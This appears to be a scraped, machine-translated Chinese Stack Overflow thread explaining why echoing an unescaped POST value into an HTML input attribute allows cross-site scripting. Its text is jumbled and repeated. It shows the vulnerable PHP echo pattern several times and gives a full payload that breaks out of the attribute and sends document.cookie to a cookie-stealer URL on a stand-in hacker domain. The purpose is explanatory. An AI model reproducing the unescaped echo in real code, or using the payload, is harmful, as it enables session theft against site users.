Php 为什么将发布的变量打印到html代码会导致XSS?

Php 为什么将发布的变量打印到html代码会导致XSS?,php,html,mysql,security,pdo,Php,Html,Mysql,Security,Pdo,我有一个搜索表: <form method="POST"> <input type="search" name="q"> <input type="submit" value="Search" name="search"> </form> 现在一切都好了,我想,为什么我要这样做: <input type="search" value="<?php if(isset($_POST['q'])){echo $_POST[

我有一个搜索表:

<form method="POST"> 
    <input type="search" name="q">
    <input type="submit" value="Search" name="search">
</form>
现在一切都好了,我想,为什么我要这样做:

<input type="search" value="<?php if(isset($_POST['q'])){echo $_POST['q'];} ?>" name="q">

攻击者可以使用XSS向不知情的用户发送恶意脚本

例如,攻击者可以在其网站中创建一个表单,该表单被重定向到您的地址,其中包含以下内容:

<input type="search" value="<?php if(isset($_POST['q'])){echo $_POST['q'];} ?>" name="q">

为了更好地理解,您可以通过在浏览器控制台中执行
document.cookie
来复制cookie,并通过执行以下命令将其粘贴到其他浏览器或PC:
document.cookie=“将复制的cookie放在此处”

请注意,每个网站和每次登录时保存的cookie都是不同的,因此很难做到这一点,黑客需要一点机会:)

提示:按F12键可以访问浏览器的控制台



如果你想让我用更多的代码来解释,只需在评论中说:)

不,这是完全可以接受的。您所要做的就是回显访问者发布的值。换言之:访问者可以取回发送的内容。它从不触及你的数据库(在你给出的最后两行代码中)。奇怪的是,没有其他人做出反应。那么,让我说:我不喜欢属性值字符串中的PHP。基本上,输入标记中有一个PHP标记。那看起来很奇怪。你也不能逃避你插入的东西。因此,最终您可能会得到损坏的HTML。如果用户将其放入您最后一个给定代码的输入中,该怎么办<代码>>警报('XSS');
当然是vulnerable@MobinF.R.G,这与我的意思完全相似,有人用同样的方法回答了我之前的一个问题thing@MobinF.R.G,在这种情况下,该警报不会仅针对该用户显示吗?那么您的意思是他将发送类似“>”的消息“当用户去那里的时候,cookies就会停止,他不能在我的网站上运行Javascript,比如
http://mywebsite,com/s=document.location=http://Hacker'sDomain.com/cookiestealer.php?cookie='+document.cookie?其中
s
参数不存在,或类似
http://mywebsite.com/Code 此处
@Dan No除非您拥有该页面,否则这是不可能的。在这种情况下(您的问题)进行XSS攻击的唯一方法是向目标用户提供链接并窃取其cookie。像这样=>
给用户的链接->用户转到黑客链接->黑客从自动提交并重定向到您的网站->XSS代码将被执行->用户将被重定向到黑客的网站,但这次黑客窃取了cookie,可以以多种方式使用偷来的cookie
,所以我应该使用
htmlspecialchars()?还是有更好的办法?
 <input type="search" value="<?php if(isset($query)){echo $query;} ?>" name="q">
<input type="search" value="<?php if(isset($_POST['q'])){echo $_POST['q'];} ?>" name="q">
"><script>document.location='http://Hacker'sDomain.com/cookiestealer.php?cookie='+document.cookie;</script>
document.cookie="Stealed Cookie Here!";